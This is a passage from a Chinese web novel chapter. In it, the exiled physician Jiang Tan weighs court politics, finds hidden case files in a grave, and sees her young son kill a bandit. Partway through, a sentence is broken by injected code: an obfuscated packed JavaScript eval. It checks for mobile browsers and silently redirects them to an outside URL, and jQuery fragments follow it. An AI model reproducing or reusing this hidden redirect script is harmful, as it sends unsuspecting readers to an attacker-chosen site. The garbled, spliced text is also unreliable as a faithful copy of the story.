他指的是谁，两人都心知肚明。


    来北地的这五年，姜昙并不是没有听说过陆青檐的消息。


    第一年时很少，也有她刻意捂住耳朵的缘故。


    然而这几年消息越发密集，关于他的消息传得飞速，几乎无孔不入。


    许道成病重，是去年年末刚发生的事。今年年初，新任首辅闫慈就入了内阁。


    景胜帝久不上朝，所有政事俱交内阁处理，实在无法处理之事再呈请圣裁。只是闫慈年事已高，故而政事多由他的义子帮忙办理。


    闫慈的三个义子只剩下两个，三公子田永于五年前遇刺身亡。


    因此，剩下的长公子陆青檐、二公子赵青林就成为闫首辅的左膀右臂。


    两位公子中，长公子陆青檐尤其被闫首辅看重。也是朝野上下最负盛名的一位，据说几乎时时跟随闫慈前后，一刻也不能离。


    以上是边陲小城，路边随意一个小贩都能说出的内容。


    可是以陆青檐的野心和作为，绝不可能像传闻中这么简单。


    姜昙最清楚，外面传的这些事，他五年前就能做到。


    一阵风吹起黄土，扬起满地的沙尘。


    路边的茶棚中，陆昇用手指蘸了蘸杯中的茶水，在桌面上画出一个三足鼎立的局势图。


    “许首辅上疏奏请告老还乡后，许党的官员并入太子麾下，继续与闫党分庭抗礼。然而看似是两方之争，实际上是三方。贤妃于二月初诊出了喜脉，或有可能与陆青檐离心。”


    他在上首第一位的地方，反复画了圈，表示这处的重要性：“贤妃这处只是萤火之微，威胁几等于零。其次是东宫，太子虽不得皇上喜欢，可毕竟是正统储君，若……”


    陆昇顿了顿，隐去了中间的话，姜昙猜到，他可能是想说“帝崩”。


    “太子登基，于闫党是灭顶之灾。”


    陆昇的手指在桌面上点了点：“然而以上都是空想，这几年闫党在朝堂一手遮天，无人能敌。”


    他说的尚且留有余地。


    莫说以后，就是眼下，从贤妃传出有孕之时，陆青檐就已加派了人手监视。


    贤妃在朝中并无根基，想要在陆青檐的眼皮子底下做什么小动作，简直难如登天。


    北地气息干燥。


    没过一会儿，桌上的水痕就蒸发不见。


    姜昙沉默良久，抬眼看陆昇：“大公子说的这些，与我似乎没有关系。”


    五年前陆昇帮她一次，还给了她大昭的地图，姜昙其实十分感激。


    寻常百姓根本没有机会接触到这样细致的地图，上面还仔细标注了山川河流，应该是陆昇平时用的东西，实在是帮了她大忙。


    然而他此刻说出这些谋划，却让她琢磨不透了。


    陆昇是不是太信任她了？


    按理说，他们二人并没有深入的交际。算上这一次，才见过三次面而已。


    陆昇笑了笑，继续说：


    “长兄今年不过二十五岁，已任太常寺少卿。二十五岁的正四品官员，姜姑娘你可知道，大昭史书中有几个，古往今来又有几个？就算在闫慈死后，只要陆青檐在一日，我方才所说三足鼎立中的前两者，就永无翻身之日。”


    就算按照明面上的假年龄，陆青檐也才二十七岁。


    这样年轻的正四品官，在史书中亦很罕见。


    陆昇将剩余的水痕擦去：“江南一带的官员有一半都是闫党亲信，其中又有一半暗中与他来往密切。他的手已伸到北地来，陈兴平只是个开始，迟早这里也会被他的人盘踞。”


    这就是陆昇方才说的，北地也不能待下去的缘故。


    姜昙慢慢琢磨出点意思来：“你是在劝说我，和你一起对抗闫党？”


    她不知该苦笑还是如何了。


    陆昇看着是很靠谱的一个人，师从太傅，谋略心性不再话下。


    可就是这样一个人，竟然以为她有对抗闫党的能力。


    姜昙摊开袖子，无奈打量了一下自己，怀疑身上是否有闪光之处，竟连她本人都未能发现。


    最终，她遗憾地说：“大公子，姜昙不过是一个平头百姓。若你身体不适，我或可助你痊愈。除此之外，我没有别的能力，你高看我了。”


    说着，姜昙饮下一杯茶。


    此地是边陲最贵的茶棚，她寻常是喝不起的，可不能浪费了。


    “姜姑娘远在北地，或许不清楚京中之事。”陆昇顿了顿：“陆青檐至今孑然一身，未曾婚配。”


    原来他不是让她对抗闫党，而是让她对抗陆青檐。


    说完，陆昇敛袖站起来，将桌上的糕点往姜昙那处推了推。


    经过乌日塔身边时，他又从袖子里拿出一个孔明锁，放在桌子上。


    孔明锁小巧玲珑，特意做成了孩童的尺寸，依旧精巧复杂。


    乌日塔摆弄着手中的石头，眼神落在孔明锁上几息，慢慢地将锁握在手里。


    只有五岁的乌日塔爱好不多，能把东西握在手中，代表他十分感兴趣。


    这种锁，极少有小童喜欢。因为十分难拆开，往往要研究半天才能弄明白，枯燥而无味。


    姜昙幼时就十分不喜欢，直到十六七岁才渐渐品出趣味，甚至自己改变结构，研究出了独一无二的新锁出来。


    陆昇竟能想到送这种东西给乌日塔……陆家人揣测人心的本事，还真是如出一辙的可怖。


    姜昙闭了闭眼。


    她很想对陆昇说，孑然一身并不能代表什么。


    这么多年，你不也是一个人吗？


    当初她那一箭朝着心脏去的，陆青檐一定恨不得弄死她。


    更何况，谁不是一个人呢。


    姜昙看着茶棚外的过路人来来往往，头上身上皆裹着厚重的兜帽长巾。


    边陲的风沙肆虐，已到了不得不让人遮住头脸的地步。


    “嗒”地一声。


    姜昙转过头去，乌日塔将散乱的木条放在桌子上，黑漆漆的眼珠看过来——


    他将孔明锁解开了。


    “走吧。”


    姜昙数着铜板，却被告知钱已付过了。


    不吃白不吃，她往嘴里塞了几块糕点，又往乌日塔嘴里塞了几块，最后实在吃不下，就统统装到口袋里。


    别说，旁人付钱买的糕点就是好吃。


    然而她吃的有些撑了，于是决定去先前与陆昇待过的土坡前走一走，那里风景尚可。


    只过了半个月，这里的绿意就变得黯然失色。


    姜昙很轻易地找到了汤慎的墓。


    一眼望去，除了附近的土坡，只有那处有小小的凸起。


    走近一看，是个小土包，土包前一块木牌勉强立着，上面被人用刀刻了四个大字：盛慎之墓。


    “盛”字被人刻意抹去，姜昙看了许久才认出这个字。


    盛？不是姓汤吗，怎么是盛慎。


    姜昙越想越觉得耳熟，她生平知道的人中，姓盛的不多。


    其中恰好有一家姓盛的，因为娘亲与这家女主人相熟的缘故，还曾定下一桩口头的娃娃亲。


    只是两位母亲早逝，故而婚约在时间中消磨隐去，渐不被人提起。


    成年后，盛家的人没有找过来，姜昙也无意去和一个从未见过的人成婚，最后不了了之。


    提起那家人，姜昙只记得娃娃亲的另一个人，他叫盛谨之。


    倒不是同一个人。


    然而这时，姜昙忽然看到，墓碑的下方还有一行小字。她伸手擦了擦那黄土，最下面的竟是：谨之。


    父，盛炳立。


    盛炳就是汤炳，所以盛谨之就是汤谨之，汤慎。


    与她有婚约却不了了之的那个人，竟然是汤指挥使的大公子。


    天意弄人。


    不过现在知道这些，也不起什么作用了，汤慎恐怕连这一件婚事都不知道。


    汤家人从来存在于百姓的传言中。


    最近的时候，姜昙在陆青檐的大帐里，隔着一道屏风，听到汤炳和他的二子在帐外受训，汤家摇摇欲坠。


    勉强与她有几分关系的汤慎，从出现起就昏迷不醒。


    两人生前从未有过交集，直到他死去，躺在墓穴中，姜昙才与他的白骨见上一面。


    姜昙此时有些后悔空着手过来了，她该买着香烛元宝的。


    这么想着，姜昙上手将墓穴周围的杂草拔干净，又清理完墓碑前的黄土。


    乌日塔不知道姜昙在做什么，只专心做着自己的事。


    玩过了孔明锁，手中的石头一时索然无味，他在土坡前后转着，忽然发现一处更好玩的地方，蹲在地上扣弄起来。


    姜昙发现时，他已经将汤慎墓旁的地面刨了一个坑，甚至挖出来一个洞。


    面前落下一道阴影，乌日塔抬头，对上姜昙看似平静的双眼，心中咯噔一声。


    他敏锐地意识到这样做会让姜昙不高兴，手指飞快，又将地面上方才拆开的机关锁拼凑回去。


    姜昙这才发现，原来乌日塔不是在刨坑，而是墓碑旁的黄土原本就没有填实。


    有人留出一小块方正的空地，向下嵌入了一个机关锁。


    这机关锁的形状亦很眼熟，姜昙想了许久终于想起来，这是她在吴江时自己做过的。


    刘仲青死前不久，其实单独见过姜昙一面。


    他交代的不多，只说了两件事。


    其一，将有关宋庸一案的所有卷宗销毁。其二，离开吴江，越远越好。


    然而十七岁的姜昙极其天真幼稚。


    宋庸此案虽然证据齐全，可是相关罪证并没有全部公布。


    刘仲青那样告诉她，她隐隐察觉到此案牵扯到了不能处决的大人物。


    但私心里仍希望有一天，所有罪证能够大白于天下，故而藏了一部分卷宗没有销毁。


    而是用她自制的机关锁将卷宗锁起来，自以为高明地埋到吴江县衙一个地方，留下了一些蛛丝马迹。


    十七岁时，姜昙很喜欢听市井人说书，书中捕快将凶手绳之以法的故事让她很向往。


    她幼稚地以为，如果有人能找到这些卷宗，一定是来主持人间公道的。


    直到刘仲青突然死去她才明白，这个世界上永远不是书中那样非黑即白，邪不压正。


    没有绝对的正义。


    她留下的那些卷宗，没有人会注意到。


    三年的时间，她一度自暴自弃到对人世失望。最后燃起求生的意志，也谨记着刘仲青的嘱托，只求自保，做个隐于人世的普通人。


    可就在她自己都要忘记了的时候，忽然有人告诉她，他曾经发现了她留下的东西。


    可此人已经化作了一堆白骨。


    天意弄人，天意弄人。


    姜昙打开机关锁，盒子里正放着她曾经留下的卷宗。


    不知汤慎生前是如何保存的，或许是锦衣卫特有的密法，才让卷宗不至于毁坏。


    掀过她留下的卷宗，后面续有墨迹较新的纸页，这应该是汤慎的字迹。


    从纸页中可以看到，他在吴江找到了更多的证据，弄清了事情的原委，上面甚至有除了宋庸以外的名字，最后写着这些名字的生平和官职。


    按理说，汤慎是锦衣卫，他对所有官员的消息烂熟于心，不至于特意写下来。


    唯一的可能，或许是写给她看的。


    他找到了这些卷宗，知道当年吴江案中有一人留下的证据，故而也期盼着这人能找到他留下的，所以用了和她一样形制的机关锁。


    只是后来不知道为什么他去了扬州，落入了陆青檐的天罗地网，就此被害。


    汤家人应该没有打开过，或许以为这是汤慎的遗物，所以一起埋入了墓穴。


    当初紫珠问她，去北地的哪一个城镇。


    最后是由紫珠选的，她不识字，故而选了一个看起来形状最好看的，两人才来到这里。


    如果当初紫珠选的是别处，如果陆昇没有提醒她，如果她没有生出来看一看汤慎的心思……


    她或许到死也不会知道，汤慎和她曾经有过这样的交集。


    恍然惊觉汤慎和她有这样的渊源，姜昙关心起汤家其他人的命运来。


    然而她此时忽然想起来，早在五年前，汤家举家离京。


    彼时她对汤家的命运漠不关心，坐在马车上看路上的车辙印时，也只是由他们的下场联想到自己，而暗暗心惊。


    五年前。


    汤家三公子汤忖死于狩猎日，雪林。


    大公子汤慎死于离京途中，一个荒芜的破庙。


    汤炳一夜白头，病逝于大儿子死后的第二月。


    二公子汤恒被打断了腿，于到达流放地的前夕失踪，至今生死未知。


    乌日塔的小手伸过来，在姜昙的眼下擦了擦。


    他自小没有哭过，就算从椅子上摔下来，磕破了脑袋，也从来没有哭过。他不知道哭的滋味，也不明白人们为什么要哭。


    或许是遇到了难题，没有办法。


    乌日塔认真地看着姜昙，他想看出姜昙的难题是什么。


    他很黏着姜昙，却只是沉默地跟在她身边。有事时以眼神问询，匆匆一触就离开。


    其余时间，都沉浸在自己的世界里，玩他的石头。


    这样主动的时刻几乎从未有过，因为对他来说，这样的时刻十分难熬。


    可是他愿意这样对姜昙。


    然而此刻姜昙哭泣，他却不知道如何解决她的难题。


    甚至，他连她也难题是什么，都没有看出来。


    姜昙凝滞的眼珠子聚焦，看着眼前的乌日塔，眼前浮现出前些时日的画面——


    布和大叔抱着哀鸣的小羊哭泣，乌日塔却递上了他的匕首。


    真的是很神奇的一件事，母子之间的羁绊，让她一瞬间明白乌日塔的想法。


    他并不是像布和大叔以为的那样，好心地提醒忘在外面的匕首。而是在建议，用匕首杀了小羊。


    杀了哀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505722|142961||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    鸣的小羊，结束它的痛苦。


    他把这视为一个难题，如同解开机关锁那样。用匕首杀了小羊，也可以解决布和大叔的难题。


    乌日塔的眼睛，真是像极了陆青檐。


    以陆青檐的脾性，他小时候会不会也这么做过呢？


    姜昙控制不住自己的想法。


    她闭了闭眼，再睁开时，推开乌日塔的小手，用了比平常稍大的力道。


    乌日塔询问的眼神追随着她，姜昙拒绝与他交流。


    她将卷宗收起来，放到盒子里准备带走。


    北地确实不能待了。


    .


    晚饭时，紫珠带着大包小包的东西回门。


    这里就姜昙和乌日塔两个人，紫珠却生生做出招待一群人的架势。


    不仅给姜昙带了首饰发簪，给乌日塔带了香包小木马。还给棚子里的大马带了草料饴糖，给小红马带了绒球发饰，将它的鬃毛编成了两条辫子。


    她似乎忘了小红马是公的。


    周胜果然信守当初“孝敬”她的承诺，一来就闷声不吭去厨房里做饭，最终端上来丰盛的四菜一汤。


    饭桌上热闹而沉默。


    热闹的是紫珠和周胜，叽叽喳喳地说着新房布置、街坊邻居，周胜不停地给她夹菜。


    沉默的是姜昙，偶尔应和一两声。


    吃完饭，趁周胜去洗碗，紫珠在姜昙身边坐下来：“姑娘，发生什么事了？”


    姜昙边做女工，笑着说没事。


    紫珠狐疑地盯她一会儿，肯定地说：“肯定有事。阿年平日都是自己一个人吃饭，今天反常地坐在桌子上和我们一起。姑娘你虽然在笑着，可是眼睛里没有笑意，你不高兴。”


    紫珠真是敏锐。


    姜昙并不打算解释，手中的活计在此刻结束。摊开给紫珠看，是一双虎头鞋。


    “呀，真好看！”


    紫珠很快忘了先前的事，稀罕地看来看去，向乌日塔招手：“阿年，真不容易，你娘第一次做鞋，快来试试。”


    乌日塔往这里看了看。


    姜昙按下紫珠的手：“是给你的。”


    “给我？我又穿不上。何况这式样……”说着紫珠一愣，脸色红了：“姑娘真是的，哪有那么快，得等上好长时间呢。”


    姜昙却没法等了。


    然而这些话却不必让紫珠知道，她很幸福，一辈子都会很幸福。


    姜昙笑着塞给她：“提前备着，总不多余。”


    周胜是周蝉衣的弟弟，周蝉衣是陆家三夫人。将来周胜领着紫珠回扬州，会回到陆家，迟早会被陆青檐发现。


    顺藤摸瓜也是早晚的事。


    这桩婚事是陆昇亲自保的，所以他也一定会照看紫珠，她不会有事。


    姜昙也不想和紫珠分开，可是她们必须分开。


    “草原的路人有口信传过来，那边的牛羊染了病。路程有些远，我可能得过几天才能回来。”


    姜昙拍拍紫珠的手：“接下来北地不太平，你和周胜在一起，平日没事不要外出，也不必来找我。若是有急事就去找陆昇，他肯定会帮你们。”


    紫珠说：“我知道的，姑娘你也别走了吧。北地不太平，草原那边又起了沙暴，我担心你。”


    姜昙说：“已经答应了人家，不好出尔反尔。这是最后一次，以后就不去那边接诊了。”


    紫珠点点头。


    翌日，和北地五年间任何一日的寻常清早，姜昙背着药箱和包袱，在紫珠的送别下离开了。


    她打算往前走一小段，绕过山坡有一个小道，从那里折返离开。


    然而半途出了点意外：


    “姨娘——”


    小羊儿在山坡上大喊：“我娘肚子疼，快来救命啊！”


    姜昙骑马往那边赶。


    罗三娘昨夜搬行李时扭到了腰，半夜腹痛出血。


    她觉得自己没事，休息一会儿就好了，然而第二天一眼，肚子又疼了起来，血出得更多了。


    姜昙诊脉，发现她胎像不稳，忍不住斥道：“先前不是与你说过不要大意，次次我来都耳提面命，忘到羊肚子里去了吗！”


    罗三娘脸色惨白，却还是忍不住笑：“姜大夫竟然还会说笑话……”


    姜昙无言以对，没好气地扎了一针。


    胎像不稳，必须保胎。


    姜昙支起瓦罐，给罗三娘熬药。


    忽然，毡帐外传来一阵马蹄声。罗三娘猛然坐起来，却扯到腰间，痛得惊呼。


    “姜大夫，快点走！草原上的盗贼又来了，我连夜收拾行李就是为这个，方才忘了与你说……”


    这也能忘？！


    姜昙匆匆往毡帐外看一眼，连忙扶着罗三娘起来，见她还要收拾行李。


    姜昙这次是真的生气了：“都什么时候了还要拿东西！”


    罗三娘说：“那是老羊的命根子。”


    罗三娘不能骑马，姜昙索性把马让给小羊儿，指了个方向让他们走。


    小羊儿还想留下，被乌日塔的小红马一踢，被迫往前跑了。


    他们离开后，姜昙搀扶着罗三娘往山坡后走，她知道那里有一个洞可以躲起来。


    姜昙心有疑虑。


    大昭的守军彻底追击过盗贼一次，直捣巢穴，应该不会这么快集结，怎么还会有？


    不过草原上的盗贼只劫掠牛羊钱财，来去一阵风，只要等他们过去就好。


    姜昙静静地等着，但身旁的罗三娘经过方才那一番折腾，腹下又涌出了血。


    罗三娘疼得吸气。


    方才煎的药没来得及服，现下应在毡帐门口放着。姜昙咬牙说：“再忍一小会儿。”


    叽里咕噜的胡语在外面响起。


    口音太重，姜昙听不懂，罗三娘脸色一变：“他们怀疑里面有粮食，要进来看！”


    姜昙深吸一口气，将罗三娘埋进木柴堆里，手握柴刀：“平日我与你说过不少保胎的知识，你肯定能想起来。我先离开一阵，照顾好自己！”


    罗三娘在身后小声叫她。


    姜昙三脚猫的功夫，来到北地后又练过，虽然效果一般，但应该能抵挡一阵。


    她慢慢向外走去。


    心中不禁感叹，今天真不是个好日子。


    外面的胡语声越发清晰，姜昙的心高高提起来。她努力分辨那两人说的什么，忽然听到两声惨叫。


    出什么事了？


    姜昙轻声打开地洞，映入眼帘的是两具浑身红点的尸体，胸口微微起伏。


    没有行动能力，应该还活着。


    这时，起伏的胸口插入一把匕首，其中一人连惨叫声都未发出，脖子一歪，已然死去。


    姜昙觉得浑身的血都凉了：“阿年，你在做什么？”


    乌日塔转过头来，稚嫩的脸上是飞溅的血珠，看起来无辜又天真。


    他那双黑漆漆的眼中总是平静如深潭，此刻姜昙竟能从中看出惊诧。


    他没想到会被姜昙看见。